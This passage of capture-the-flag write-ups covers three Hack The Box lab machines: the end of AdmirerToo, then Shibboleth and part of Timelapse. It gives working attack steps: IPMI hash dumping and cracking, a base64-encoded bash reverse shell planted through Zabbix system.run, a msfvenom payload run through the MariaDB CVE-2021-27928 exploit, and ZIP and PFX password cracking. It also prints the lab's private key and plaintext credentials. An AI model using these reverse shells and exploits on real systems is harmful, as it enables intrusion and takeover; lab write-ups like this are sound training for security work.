All we have to do now is trigger a `fail2ban` `banaction`. We can see that the sshd jail is enabled by looking at the `/etc/fail2ban/jail.d/defaults-debian.conf` file. So, we can trigger a `banaction` by failing to sign into SSH as `root` three times (make sure you have `nc -nvlp 43 < revshell` and `nc -nvlp 4348` running):

```
$ ssh root@admirer-gallery.htb
root@admirer-gallery.htb's password:
Permission denied, please try again.
root@admirer-gallery.htb's password:
Permission denied, please try again.
root@admirer-gallery.htb's password:
root@admirer-gallery.htb: Permission denied (publickey,password).
```

In our window running `nc -nvlp 43 < revshell` we see the following:

```
connect to [10.10.14.169] from (UNKNOWN) [10.10.11.137] 51638
10.10.14.169
```

So, the connection went through and the reverse shell was sent. Now, we just kill that `nc` so the connection is closed and we immediately get a reverse shell in our terminal running `nc -nvlp 4348`:

```
connect to [10.10.14.169] from (UNKNOWN) [10.10.11.137] 42294
bash: cannot set terminal process group (18074): Inappropriate ioctl for device
bash: no job control in this shell
root@admirertoo:/# cat /root/root.txt
cat /root/root.txt
[ROOT FLAG]
```

This shell only lasts a few seconds so be quick to get the `root.txt` flag.


# Shibboleth

## Enumeration

### Nmap

First, let's scan for open ports using `nmap`. We can quickly scan for open ports and store them in a variable: `ports=$(nmap -p- --min-rate=1000 -T4 10.10.11.124 | grep "^[0-9]" | cut -d '/' -f 1 | tr '\n' ',' | sed s/,$//)`. Then, we can scan those specific ports in depth by running `nmap`'s built-in scripts: `nmap -p$ports -sC -sV 10.10.11.124`.

```
PORT   STATE SERVICE VERSION
80/tcp open  http    Apache httpd 2.4.41
|_http-server-header: Apache/2.4.41 (Ubuntu)
|_http-title: Did not follow redirect to http://shibboleth.htb/
Service Info: Host: shibboleth.htb
```

It looks like there is an Apache webserver running on port 80. Attempting to visit the website redirects us to `http://shibboleth.htb`, so let's add that to `/etc/hosts`: `echo "10.10.11.124 shibboleth.htb" | sudo tee -a /etc/hosts`.

Scan for UDP services with `sudo nmap -p- -sU -r -T5 10.10.11.124 -v` (`-r` specifies that ports will be scanned sequentially instead of randomly. we do this because services are more likely to be running on ports 1-1000.):

```
Initiating UDP Scan at 22:13
Scanning shibboleth.htb (10.10.11.124) [65535 ports]
Warning: 10.10.11.124 giving up on port because retransmission cap hit (2).
Discovered open port 623/udp on 10.10.11.124
```

So, port `623/udp` is open.

### Apache (Port `80`)

This website says the following at the bottom in the footer: "Powered by enterprise monitoring solutions based on Zabbix & Bare Metal BMC automation." The rest appears to be a generic template.

### Virtual Host Scanning

Let's can for virtual hosts (subdomains) with `ffuf -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-20000.txt -u http://shibboleth.htb/ -H "Host: FUZZ.shibboleth.htb" -fc 302`:

```
monitor                 [Status: 200, Size: 3686, Words: 192, Lines: 30]
monitoring              [Status: 200, Size: 3686, Words: 192, Lines: 30]
zabbix                  [Status: 200, Size: 3686, Words: 192, Lines: 30]
```

Let's add these subdomains to `/etc/hosts`: `echo "10.10.11.124 monitor.shibboleth.htb\n10.10.11.124 monitoring.shibboleth.htb\n10.10.11.124 zabbix.shibboleth.htb" | sudo tee -a /etc/hosts`.

### Zabbix (`zabbix` Virtual Host) Part 1

Visiting any of these subdomains shows the same Zabbix login page. According to [Wikipedia](https://en.wikipedia.org/wiki/Zabbix), "Zabbix is an open-source software tool to monitor IT infrastructure such as networks, servers, virtual machines, and cloud services. Zabbix collects and displays basic metrics." Trying to log in using default credentials does not work.

### asf-rmcp (Port `623/udp`)

Let's scan port `623/udp` individually with `nmap` by running `sudo nmap -p623 -sU -T5 -sC -sV 10.10.11.124`:

```
PORT    STATE SERVICE  VERSION
623/udp open  asf-rmcp
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
SF-Port623-UDP:V=7.92%I=7%D=2/24%Time=621849A4%P=x86_64-pc-linux-gnu%r(ipm
SF:i-rmcp,1E,"\x06\0\xff\x07\0\0\0\0\0\0\0\0\0\x10\x81\x1cc\x20\x008\0\x01
SF:\x97\x04\x03\0\0\0\0\t");
```

Searching for the service string `asf-rmcp` online finds a HackTricks page titled [623/UDP/TCP - IPMI](https://book.hacktricks.xyz/pentesting/623-udp-ipmi). The `http://shibboleth.htb` website mentioned that they were using "Bare Metal BMC automation," which is what appears to be running on this port. According to [HackTricks](https://book.hacktricks.xyz/pentesting/623-udp-ipmi#basic-information), "Baseboard Management Controllers (BMCs) are a type of embedded computer used to provide out-of-band monitoring for desktops and servers... The Intelligent Platform Management Interface (IPMI) is a collection of specifications that define communication protocols for talking both across a local bus as well as the network." You can read more information about [IPMI and BMCs on Rapid7's blog](https://www.rapid7.com/blog/post/2013/07/02/a-penetration-testers-guide-to-ipmi/).

According to HackTricks, we can get the version of IPMI using the `auxiliary/scanner/ipmi/ipmi_version` metasploit module:

```
sudo msfconsole
use auxiliary/scanner/ipmi/ipmi_version
set rhosts 10.10.11.124
run
```

The module returns the following:

```
[*] Sending IPMI requests to 10.10.11.124->10.10.11.124 (1 hosts)
[+] 10.10.11.124:623 - IPMI - IPMI-2.0 UserAuth(auth_msg, auth_user, non_null_user) PassAuth(password, md5, md2, null) Level(1.5, 2.0)
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
```

So, it looks like IPMI 2.0 is being used.

The [next section on the HackTricks page](https://book.hacktricks.xyz/pentesting/623-udp-ipmi#vulnerability-ipmi-authentication-bypass-via-cipher-0) discusses "a serious failing of the IPMI 2.0 specification." Essentially, "cipher type 0, an indicator that the client wants to use clear-text authentication, actually allows access with any password." You can learn more about the [cipher type 0 exploit here](http://fish2.com/ipmi/cipherzero.html).

According to HackTricks, we can identify this issue with the `auxiliary/scanner/ipmi/ipmi_cipher_zero` metasploit module:

```
sudo msfconsole
use auxiliary/scanner/ipmi/ipmi_cipher_zero
set rhosts 10.10.11.124
run
```

The module returns the following:

```
[*] Sending IPMI requests to 10.10.11.124->10.10.11.124 (1 hosts)
[+] 10.10.11.124:623 - IPMI - VULNERABLE: Accepted a session open request for cipher zero
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
```

So, it looks like this service is vulnerable to this exploit.

According to HackTricks, we can exploit this vulnerability using the `ipmitool` package, which will let us change a user's password if we know their username. However, this doesn't really help us so instead we will use the ["IPMI 2.0 RAKP Authentication Remote Password Hash Retrieval"](https://book.hacktricks.xyz/pentesting/623-udp-ipmi#vulnerability-ipmi-2.0-rakp-authentication-remote-password-hash-retrieval) vulnerability discussed in the next section of the [HackTricks article](https://book.hacktricks.xyz/pentesting/623-udp-ipmi#vulnerability-ipmi-2.0-rakp-authentication-remote-password-hash-retrieval).

According to HackTricks: "Basically, you can ask the server for the hashes MD5 and SHA1 of any username and if the username exists those hashes will be sent back. Yeah, as amazing as it sounds." This can be accomplished using the metasploit module `auxiliary/scanner/ipmi/ipmi_dumphashes`. Metasploit has a default list of usernames (the list has 7 items) to try so we will just use that.

```
sudo msfconsole
use auxiliary/scanner/ipmi/ipmi_dumphashes
set rhosts 10.10.11.124
set OUTPUT_HASHCAT_FILE ./ipmi_hashes
run
```

This produces the following output:

```
[+] 10.10.11.124:623 - IPMI - Hash found: Administrator:9dd85901820b0000ce727d83d50f92e88df0ad3096b98a82b7bc51c9a602c78a5be6ff28f2934aeda123456789abcdefa123456789abcdef140d41646d696e6973747261746f72:4623493c7964ae8a927f8ede94f11c6deb21e6a6
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
```

In our `./ipmi_hashes` file we now have the following:

```
10.10.11.124 Administrator:9dd85901820b0000ce727d83d50f92e88df0ad3096b98a82b7bc51c9a602c78a5be6ff28f2934aeda123456789abcdefa123456789abcdef140d41646d696e6973747261746f72:4623493c7964ae8a927f8ede94f11c6deb21e6a6
```

We need to remove the ip address, the space after it, and the username so that hashcat will interpret this file correctly (even though metasploit said it would export this in hashcat format).

Now, let's crack this with `hashcat`: `hashcat -a 0 -m 7300 ./ipmi_hashes /usr/share/wordlists/rockyou.txt`. This gives us the password: `ilovepumkinpie1` for the user `Administrator`. `hashcat` will autodetect the hash as type `7300 | IPMI2 RAKP HMAC-SHA1 | Network Protocol` sometimes. So, we specify it in the command to have the best odds of it working.

## Foothold

Let's see if we have password reuse on Zabbix with the credentials `Administrator:ilovepumkinpie1`. We are able to sign in!

Searching for "run commands on zabbix host" finds [this article by Zabbix](https://blog.zabbix.com/zabbix-remote-commands/7500/). We can run arbitrary commands by going to Configuration > Hosts on the left, selecting `shibboleth.htb`, clicking on the "Items" tab, and finally clicking "Create item" in the top right.

Put in any name and then for the key use the syntax: `system.run["whoami"]`. We use a bash reverse shell: `echo -n "bash -i >& /dev/tcp/10.10.14.37/26225 0>&1" | base64`. We base64 encode it just to remove any illegal characters: `system.run["echo 'YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNC4zNy8yNjIyNSAwPiYx' | base64 -d | bash"]`. Paste in this payload, click "Test" at the bottom, then click "Get value and test" to get a reverse shell.

We will get the following error in our terminal `stty: 'standard input': Inappropriate ioctl for device`. We can solve this by spawning a full tty with python by running: `python3 -c 'import pty; pty.spawn("/bin/bash")'` ([relevant article](https://netsec.ws/?p=337)).

It looks like the `ipmi-svc` user's home directory has the `user.txt` flag (see `ls -la /home/ipmi-svc/`) so we are going to have to do some lateral movement.

## Lateral Movement

We can upload LinPEAS with `pwncat` by running `upload linpeas.sh /tmp/linpeas.sh` in the local shell. Then, run LinPEAS with `bash /tmp/linpeas.sh`. After looking around in this output for a while and wasting a lot of time, we tried just switching to the `ipmi-svc` user with `su ipmi-svc` and reusing the same password that we know `ilovepumkinpie1`. This works!

## Privilege Escalation

We can now `cat user.txt` to get the `user.txt` flag.

First, we can get persistance using `pwncat` by running `run implant.authorized_key key=/home/kali/.ssh/id_rsa` in the local shell. I set the permissions of the `.ssh` folder to be what they should be with `cd && chmod 700 .ssh && chmod 600 .ssh/authorized_keys`. However, SSHD is not running, we could attempt to run it as a non-root user by following [this guide](https://www.golinuxcloud.com/run-sshd-as-non-root-user-without-sudo/) if we wanted to.

Now that we have access to this user, let's try running LinPEAS with `bash /tmp/linpeas.sh`.

We see that the file `/etc/zabbix/zabbix_server.conf` has a username and password for a database:

```
LogFile=/var/log/zabbix/zabbix_server.log
LogFileSize=0
PidFile=/run/zabbix/zabbix_server.pid
SocketDir=/run/zabbix
DBName=zabbix
DBUser=zabbix
DBPassword=bloooarskybluh
SNMPTrapperFile=/var/log/snmptrap/snmptrap.log
Timeout=4
AlertScriptsPath=/usr/lib/zabbix/alertscripts
ExternalScripts=/usr/lib/zabbix/externalscripts
FpingLocation=/usr/bin/fping
Fping6Location=/usr/bin/fping6
LogSlowQueries=3000
StatsAllowedIP=127.0.0.1
```

Let's try connecting to mysql running on port `3306` with the credentials `zabbix:bloooarskybluh`. The database name is also `zabbix`, as shown in the `zabbix_server.conf` file.

### MariaDB

Connect to mysql with `mysql -D zabbix -u zabbix -p` and then enter the password `bloooarskybluh`.

The version string for the instance of MariaDB that is running is `10.3.25-MariaDB-0ubuntu0.20.04.1 Ubuntu 20.04`. We can use `searchsploit mariadb 10` to see if there are any exploits:

```
------------------------------------------------------------------------ ---------------------------------
 Exploit Title                                                          |  Path
------------------------------------------------------------------------ ---------------------------------
MariaDB 10.2 - 'wsrep_provider' OS Command Execution                    | linux/local/49765.txt
MariaDB Client 10.1.26 - Denial of Service (PoC)                        | linux/dos/45901.txt
Oracle MySQL / MariaDB - Insecure Salt Generation Security Bypass       | linux/remote/38109.pl
------------------------------------------------------------------------ ---------------------------------
Shellcodes: No Results
```

We can look at the first exploit with `cat /usr/share/exploitdb/exploits/linux/local/49765.txt`:

```
# Exploit Title: MariaDB 10.2 /MySQL - 'wsrep_provider' OS Command Execution
# Date: 03/18/2021
# Exploit Author: Central InfoSec
# Version: MariaDB 10.2 before 10.2.37, 10.3 before 10.3.28, 10.4 before 10.4.18, and 10.5 before 10.5.9; Percona Server through 2021-03-03; and the wsrep patch through 2021-03-03 for MySQL
# Tested on: Linux
# CVE : CVE-2021-27928

# Proof of Concept:

# Create the reverse shell payload
msfvenom -p linux/x64/shell_reverse_tcp LHOST=<ip> LPORT=<port> -f elf-so -o CVE-2021-27928.so

# Start a listener
nc -lvp <port>

# Copy the payload to the target machine (In this example, SCP/SSH is used)
scp CVE-2021-27928.so <user>@<ip>:/tmp/CVE-2021-27928.so

# Execute the payload
mysql -u <user> -p -h <ip> -e 'SET GLOBAL wsrep_provider="/tmp/CVE-2021-27928.so";'
```

Searching online finds the same exploit in this repo on GitHub: [Al1ex/CVE-2021-27928](https://github.com/Al1ex/CVE-2021-27928).

We can see that `mysql` is running as root with `ps -au root` and `pgrep -u root mysql`, so getting command execution using this vulnerability will let us run commands as root.

### Using the Exploit

Let's follow the steps proved by the exploit-db file. First, we create the reverse shell payload with `msfvenom -p linux/x64/shell_reverse_tcp LHOST=tun0 LPORT=14781 -f elf-so -o CVE-2021-27928.so`. Then, we start listening with `nc -lnvp 14781`. We use `pwncat` to upload the exploit to the target with `upload CVE-2021-27928.so /tmp/CVE-2021-27928.so`. Then, we run the payload with `mysql -u zabbix -p -e 'SET GLOBAL wsrep_provider="/tmp/CVE-2021-27928.so";'` and enter the password `bloooarskybluh`.

Sure enough, we get a root shell with our `nc` listener. We can now run `cat /root/root.txt` to get the `root.txt` flag.

We could now establish persistance by uploading our ssh public key to `/root/.ssh/authorized_key` and then started the `sshd` service if we wanted.


# Timelapse

## Enumeration

### Nmap

First, let's scan for open ports using `nmap`. We can quickly scan for open ports and store them in a variable: `ports=$(nmap -p- --min-rate=1000 -T4 -Pn 10.10.11.152 | grep '^[0-9]' | cut -d '/' -f 1 | tr '\n' ',' | sed s/,$//)`. Then, we can scan those specific ports in depth by running `nmap`'s built-in scripts: `nmap -p$ports -sC -sV -Pn 10.10.11.152`. We need to specify `-Pn` to disable host discovery so nmap doesn't think the machine is down.

```
PORT      STATE SERVICE       VERSION
53/tcp    open  domain        Simple DNS Plus
88/tcp    open  kerberos-sec  Microsoft Windows Kerberos (server time: 2022-07-25 00:55:16Z)
135/tcp   open  msrpc         Microsoft Windows RPC
139/tcp   open  netbios-ssn   Microsoft Windows netbios-ssn
389/tcp   open  ldap          Microsoft Windows Active Directory LDAP (Domain: timelapse.htb0., Site: Default-First-Site-Name)
445/tcp   open  microsoft-ds?
464/tcp   open  kpasswd5?
593/tcp   open  ncacn_http    Microsoft Windows RPC over HTTP 1.0
636/tcp   open  tcpwrapped
3268/tcp  open  ldap          Microsoft Windows Active Directory LDAP (Domain: timelapse.htb0., Site: Default-First-Site-Name)
3269/tcp  open  tcpwrapped
5986/tcp  open  ssl/http      Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
| ssl-cert: Subject: commonName=dc01.timelapse.htb
| Not valid before: 2021-10-25T14:05:29
|_Not valid after:  2022-10-25T14:25:29
| tls-alpn:
|_  http/1.1
|_ssl-date: 2022-07-25T00:56:46+00:00; +8h00m02s from scanner time.
|_http-title: Not Found
9389/tcp  open  mc-nmf        .NET Message Framing
49667/tcp open  msrpc         Microsoft Windows RPC
49673/tcp open  msrpc         Microsoft Windows RPC
49674/tcp open  ncacn_http    Microsoft Windows RPC over HTTP 1.0
49696/tcp open  msrpc         Microsoft Windows RPC
58355/tcp open  msrpc         Microsoft Windows RPC
Service Info: Host: DC01; OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
| smb2-time:
|   date: 2022-07-25T00:56:08
|_  start_date: N/A
| smb2-security-mode:
|   3.1.1:
|_    Message signing enabled and required
|_clock-skew: mean: 8h00m01s, deviation: 0s, median: 8h00m01s
```

### Port `139` and `445` (SMB)

You can learn more about SMB on [HackTricks](https://book.hacktricks.xyz/network-services-pentesting/pentesting-smb).

Let's see if there are any shares we can list without an account by running `smbclient --no-pass -L //10.10.11.152`:

```
Sharename       Type      Comment
---------       ----      -------
ADMIN$          Disk      Remote Admin
C$              Disk      Default share
IPC$            IPC       Remote IPC
NETLOGON        Disk      Logon server share
Shares          Disk
SYSVOL          Disk      Logon server share
```

There is a `Shares` share so let's try listing files without specifying login details by running `smbclient --no-pass //10.10.11.152/Shares`:

```
smb: \> ls
  .                                   D        0  Mon Oct 25 11:39:15 2021
  ..                                  D        0  Mon Oct 25 11:39:15 2021
  Dev                                 D        0  Mon Oct 25 15:40:06 2021
  HelpDesk                            D        0  Mon Oct 25 11:48:42 2021

                6367231 blocks of size 4096. 2316373 blocks available
smb: \> cd Dev
smb: \Dev\> ls
  .                                   D        0  Mon Oct 25 15:40:06 2021
  ..                                  D        0  Mon Oct 25 15:40:06 2021
  winrm_backup.zip                    A     2611  Mon Oct 25 11:46:42 2021

                6367231 blocks of size 4096. 2316373 blocks available
smb: \Dev\> cd ../HelpDesk\
smb: \HelpDesk\> ls
  .                                   D        0  Mon Oct 25 11:48:42 2021
  ..                                  D        0  Mon Oct 25 11:48:42 2021
  LAPS.x64.msi                        A  1118208  Mon Oct 25 10:57:50 2021
  LAPS_Datasheet.docx                 A   104422  Mon Oct 25 10:57:46 2021
  LAPS_OperationsGuide.docx           A   641378  Mon Oct 25 10:57:40 2021
  LAPS_TechnicalSpecification.docx      A    72683  Mon Oct 25 10:57:44 2021

                6367231 blocks of size 4096. 2316373 blocks available
```

We can download these files in many ways, but we mount the share to make it easy: `mkdir share && sudo mount -t cifs //10.10.11.152/Shares ./share`. Just hit enter when asked for a password. Copy the files and then run `sudo umount share` to dismount the SMB share.

## Foothold

### ZIP File Bruteforcing

Let's try unzipping the `winrm_backup.zip` in the `Dev` directory with `unzip winrm_backup.zip`:

```
Archive:  winrm_backup.zip
[winrm_backup.zip] legacyy_dev_auth.pfx password: 
   skipping: legacyy_dev_auth.pfx    incorrect password
```

It is password protected. We can bruteforce crack the password using John the Ripper. Run `zip2john winrm_backup.zip > hash.txt` to create a hash file of the password protected zip file. Then, run `john --wordlist=/usr/share/wordlists/rockyou.txt hash.txt` to crack the hash:

```
Using default input encoding: UTF-8
Loaded 1 password hash (PKZIP [32/64])
Will run 4 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
supremelegacy    (winrm_backup.zip/legacyy_dev_auth.pfx)     
1g 0:00:00:00 DONE (2022-07-24 13:34) 2.222g/s 7718Kp/s 7718Kc/s 7718KC/s surkerior..superkebab
Use the "--show" option to display all of the cracked passwords reliably
Session completed. 
```

The password is `supremelegacy`. We can now run `unzip winrm_backup.zip` and enter the password to extract `legacyy_dev_auth.pfx`. Let's see what file this is by running `file legacyy_dev_auth.pfx`

```
legacyy_dev_auth.pfx: data
```

### PFX File Bruteforcing

Searching for "pfx file wikipedia" reveals that this is a [PKCS 12](https://en.wikipedia.org/wiki/PKCS_12) file. According to Wikipedia, "In cryptography, PKCS #12 defines an archive file format for storing many cryptography objects as a single file. It is commonly used to bundle a private key with its X.509 certificate or to bundle all the members of a chain of trust."

Searching for "extract pfx file" finds [Extracting Certificate and Private Key Files from a .pfx File](https://wiki.cac.washington.edu/display/infra/Extracting+Certificate+and+Private+Key+Files+from+a+.pfx+File).

We can run `openssl pkcs12 -in legacyy_dev_auth.pfx -nocerts -out key.pem -nodes` to export the private key, but it asks for an "import password." We can try to bruteforce this with `john` as well by running `pfx2john legacyy_dev_auth.pfx > hash2.txt` and then `john --wordlist=/usr/share/wordlists/rockyou.txt hash2.txt`:

```
Using default input encoding: UTF-8
Loaded 1 password hash (pfx, (.pfx, .p12) [PKCS#12 PBE (SHA1/SHA2) 256/256 AVX2 8x])
Cost 1 (iteration count) is 2000 for all loaded hashes
Cost 2 (mac-type [1:SHA1 224:SHA224 256:SHA256 384:SHA384 512:SHA512]) is 1 for all loaded hashes
Will run 4 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
thuglegacy       (legacyy_dev_auth.pfx)     
1g 0:00:00:26 DONE (2022-07-24 13:45) 0.03835g/s 123964p/s 123964c/s 123964C/s thuglife06..thsco04
Use the "--show" option to display all of the cracked passwords reliably
Session completed.
```

This shows the password is `thuglegacy`.

Now, let's rerun `openssl pkcs12 -in legacyy_dev_auth.pfx -nocerts -out key.pem -nodes` to export the private key and use the now known password. Then, run `openssl pkcs12 -in legacyy_dev_auth.pfx -nokeys -out cert.pem` to export the certificate using the same password.

```
$ cat cert.pem
Bag Attributes
    localKeyID: 01 00 00 00 
subject=CN = Legacyy

issuer=CN = Legacyy

-----BEGIN CERTIFICATE-----
MIIDJjCCAg6gAwIBAgIQHZmJKYrPEbtBk6HP9E4S3zANBgkqhkiG9w0BAQsFADAS
MRAwDgYDVQQDDAdMZWdhY3l5MB4XDTIxMTAyNTE0MDU1MloXDTMxMTAyNTE0MTU1
MlowEjEQMA4GA1UEAwwHTGVnYWN5eTCCASIwDQYJKoZIhvcNAQEBBQADggEPADCC
AQoCggEBAKVWB6NiFkce4vNNI61hcc6LnrNKhyv2ibznhgO7/qocFrg1/zEU/og0
0E2Vha8DEK8ozxpCwem/e2inClD5htFkO7U3HKG9801NFeN0VBX2ciIqSjA63qAb
YX707mBUXg8Ccc+b5hg/CxuhGRhXxA6nMiLo0xmAMImuAhJZmZQepOHJsVb/s86Z
7WCzq2I3VcWg+7XM05hogvd21lprNdwvDoilMlE8kBYa22rIWiaZismoLMJJpa72
MbSnWEoruaTrC8FJHxB8dbapf341ssp6AK37+MBrq7ZX2W74rcwLY1pLM6giLkcs
yOeu6NGgLHe/plcvQo8IXMMwSosUkfECAwEAAaN4MHYwDgYDVR0PAQH/BAQDAgWg
MBMGA1UdJQQMMAoGCCsGAQUFBwMCMDAGA1UdEQQpMCegJQYKKwYBBAGCNxQCA6AX
DBVsZWdhY3l5QHRpbWVsYXBzZS5odGIwHQYDVR0OBBYEFMzZDuSvIJ6wdSv9gZYe
rC2xJVgZMA0GCSqGSIb3DQEBCwUAA4IBAQBfjvt2v94+/pb92nLIS4rna7CIKrqa
m966H8kF6t7pHZPlEDZMr17u50kvTN1D4PtlCud9SaPsokSbKNoFgX1KNX5m72F0
3KCLImh1z4ltxsc6JgOgncCqdFfX3t0Ey3R7KGx6reLtvU4FZ+nhvlXTeJ/PAXc/
fwa2rfiPsfV51WTOYEzcgpngdHJtBqmuNw3tnEKmgMqp65KYzpKTvvM1JjhI5txG
hqbdWbn2lS4wjGy3YGRZw6oM667GF13Vq2X3WHZK5NaP+5Kawd/J+Ms6riY0PDbh
nx143vIioHYMiGCnKsHdWiMrG2UWLOoeUrlUmpr069kY/nn7+zSEa2pA

$ cat key.pem
Bag Attributes
    Microsoft Local Key set: <No Values>
    localKeyID: 01 00 00 00 
    friendlyName: te-4a534157-c8f1-4724-8db6-ed12f25c2a9b
    Microsoft CSP Name: Microsoft Software Key Storage Provider
Key Attributes
    X509v3 Key Usage: 90 
-----BEGIN PRIVATE KEY-----
MIIEvQIBADANBgkqhkiG9w0BAQEFAASCBKcwggSjAgEAAoIBAQClVgejYhZHHuLz
TSOtYXHOi56zSocr9om854YDu/6qHBa4Nf8xFP6INNBNlYWvAxCvKM8aQsHpv3to
pwpQ+YbRZDu1NxyhvfNNTRXjdFQV9nIiKkowOt6gG2F+9O5gVF4PAnHPm+YYPwsb
oRkYV8QOpzIi6NMZgDCJrgISWZmUHqThybFW/7POme1gs6tiN1XFoPu1zNOYaIL3
dtZaazXcLw6IpTJRPJAWGttqyFommYrJqCzCSaWu9jG0p1hKK7mk6wvBSR8QfHW2
qX9+NbLKegCt+/jAa6u2V9lu+K3MC2NaSzOoIi5HLMjnrujRoCx3v6ZXL0KPCFzD
MEqLFJHxAgMBAAECggEAc1JeYYe5IkJY6nuTtwuQ5hBc0ZHaVr/PswOKZnBqYRzW
fAatyP5ry3WLFZKFfF0W9hXw3tBRkUkOOyDIAVMKxmKzguK+BdMIMZLjAZPSUr9j
PJFizeFCB0sR5gvReT9fm/iIidaj16WhidQEPQZ6qf3U6qSbGd5f/KhyqXn1tWnL
GNdwA0ZBYBRaURBOqEIFmpHbuWZCdis20CvzsLB+Q8LClVz4UkmPX1RTFnHTxJW0
Aos+JHMBRuLw57878BCdjL6DYYhdR4kiLlxLVbyXrP+4w8dOurRgxdYQ6iyL4UmU
Ifvrqu8aUdTykJOVv6wWaw5xxH8A31nl/hWt50vEQQKBgQDYcwQvXaezwxnzu+zJ
7BtdnN6DJVthEQ+9jquVUbZWlAI/g2MKtkKkkD9rWZAK6u3LwGmDDCUrcHQBD0h7
tykwN9JTJhuXkkiS1eS3BiAumMrnKFM+wPodXi1+4wJk3YTWKPKLXo71KbLo+5NJ
2LUmvvPDyITQjsoZoGxLDZvLFwKBgQDDjA7YHQ+S3wYk+11q9M5iRR9bBXSbUZja
8LVecW5FDH4iTqWg7xq0uYnLZ01mIswiil53+5Rch5opDzFSaHeS2XNPf/Y//TnV
1+gIb3AICcTAb4bAngau5zm6VSNpYXUjThvrLv3poXezFtCWLEBKrWOxWRP4JegI
ZnD1BfmQNwKBgEJYPtgl5Nl829+Roqrh7CFti+a29KN0D1cS/BTwzusKwwWkyB7o
btTyQf4tnbE7AViKycyZVGtUNLp+bME/Cyj0c0t5SsvS0tvvJAPVpNejjc381kdN
71xBGcDi5ED2hVj/hBikCz2qYmR3eFYSTrRpo15HgC5NFjV0rrzyluZRAoGAL7s3
QF9Plt0jhdFpixr4aZpPvgsF3Ie9VOveiZAMh4Q2Ia+q1C6pCSYk0WaEyQKDa4b0
6jqZi0B6S71un5vqXAkCEYy9kf8AqAcMl0qEQSIJSaOvc8LfBMBiIe54N1fXnOeK
/ww4ZFfKfQd7oLxqcRADvp1st2yhR7OhrN1pfl8CgYEAsJNjb8LdoSZKJZc0/F/r
c2gFFK+MMnFncM752xpEtbUrtEULAKkhVMh6mAywIUWaYvpmbHDMPDIGqV7at2+X
TTu+fiiJkAr+eTa/Sg3qLEOYgU0cSgWuZI0im3abbDtGlRt2Wga0/Igw9Ewzupc8
A5ZZvI+GsHhm0Oab7PEWlRY=
-----END PRIVATE KEY-----
```

Remove the lines before `-----BEGIN PRIVATE KEY-----` in each of the files to get the key and certificate by themselves.

### Evil WinRM

According to [HackTricks](https://book.hacktricks.xyz/pentesting/5985-5986-pentesting-winrm#using-evil-winrm) and the [Evil WinRM documentation](https://github.com/Hackplayers/evil-winrm#help), we can use `evil-winrm` like so: `evil-winrm -S -k <key> -c <certificate> -i <IP>` and authenticate via SSL. Let's connect by running `evil-winrm -S -k key.pem -c cert.pem -i 10.10.11.152`.

We get a shell on the machine! Now, we can get the `user.txt` flag with `cat ..\Desktop\user.txt`.

## Lateral Movement

Let's upload [WinPEAS](https://github.com/carlospolop/PEASS-ng/tree/master/winPEAS) to scan for ways to gain privileges. Since we are using `evil-winrm` we can simply run the `upload` command: `upload /home/kali/Downloads/winPEASx64.exe`. We can run it with `.\winPEASx64.exe`:

```
Program 'winPEASx64.exe' failed to run: Operation did not complete successfully because the file contains a virus or potentially unwanted softwareAt line:1 char:1
+ .\winPEASx64.exe
+ ~~~~~~~~~~~~~~~~.
At line:1 char:1
+ .\winPEASx64.exe
+ ~~~~~~~~~~~~~~~~
    + CategoryInfo          : ResourceUnavailable: (:) [], ApplicationFailedException
    + FullyQualifiedErrorId : NativeCommandFailed
```

Windows is detecting it as a virus. We could try to [bypass the AV](https://book.hacktricks.xyz/windows-hardening/av-bypass) but that seems like a lot of work. We could also try the [bat version of winPEAS](https://github.com/carlospolop/PEASS-ng/tree/master/winPEAS/winPEASbat).

After digging around for a while following the [Windows Local Privilege Escalation](https://book.hacktricks.xyz/windows-hardening/windows-local-privilege-escalation) page on HackTricks, we found that there is a [PowerShell history file](https://book.hacktricks.xyz/windows-hardening/windows-local-privilege-escalation#powershell-history). You can view the contents with `type $env:APPDATA\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history.txt`:

```
whoami
ipconfig /all
netstat -ano |select-string LIST
$so = New-PSSessionOption -SkipCACheck -SkipCNCheck -SkipRevocationCheck
$p = ConvertTo-SecureString 'E3R$Q62^12p7PLlC%KWaxuaV' -AsPlainText -Force
$c = New-Object System.Management.Automation.PSCredential ('svc_deploy', $p)
invoke-command -computername localhost -credential $c -port 5986 -usessl -
SessionOption $so -scriptblock {whoami}
get-aduser -filter * -properties *
exit
```

`invoke-command` is used to run "commands on local and remote computers" according to the [PowerShell documentation](https://docs.microsoft.com/en-us/powershell/module/microsoft.powershell.core/invoke-command?view=powershell-7.2). So, we are provided with a command to run commands as the `svc_deploy` user.

We check which users are on the machine:

```
*Evil-WinRM* PS C:\Users\legacyy\Documents> cd C:\Users\
*Evil-WinRM* PS C:\Users> ls


    Directory: C:\Users


Mode                LastWriteTime         Length Name
----                -------------         ------ ----
d-----       10/23/2021  11:27 AM                Administrator
d-----       10/25/2021   8:22 AM                legacyy
d-r---       10/23/2021  11:27 AM                Public
d-----       10/25/2021  12:23 PM                svc_deploy
d-----        2/23/2022   5:45 PM                TRX
```

Sure enough there is a `svc_deploy` user.

Let's rerun these commands to make sure they work:

```
$so = New-PSSessionOption -SkipCACheck -SkipCNCheck -SkipRevocationCheck
$p = ConvertTo-SecureString 'E3R$Q62^12p7PLlC%KWaxuaV' -AsPlainText -Force
$c = New-Object System.Management.Automation.PSCredential ('svc_deploy', $p)
invoke-command -computername localhost -credential $c -port 5986 -usessl -SessionOption $so -scriptblock {whoami}
```

The above commands output `timelapse\svc_deploy`. So, we can execute commands as the `svc_deploy` user.

## Privilege Escalation

We can see what groups `svc_deploy` belongs to by running `net user svc_deploy` with `invoke-command -computername localhost -credential $c -port 5986 -usessl -SessionOption $so -scriptblock {net user svc_deploy}`:

```
User name                    svc_deploy
Full Name                    svc_deploy
Comment
User's comment
Country/region code          000 (System Default)
Account active               Yes
Account expires              Never

Password last set            10/25/2021 12:12:37 PM
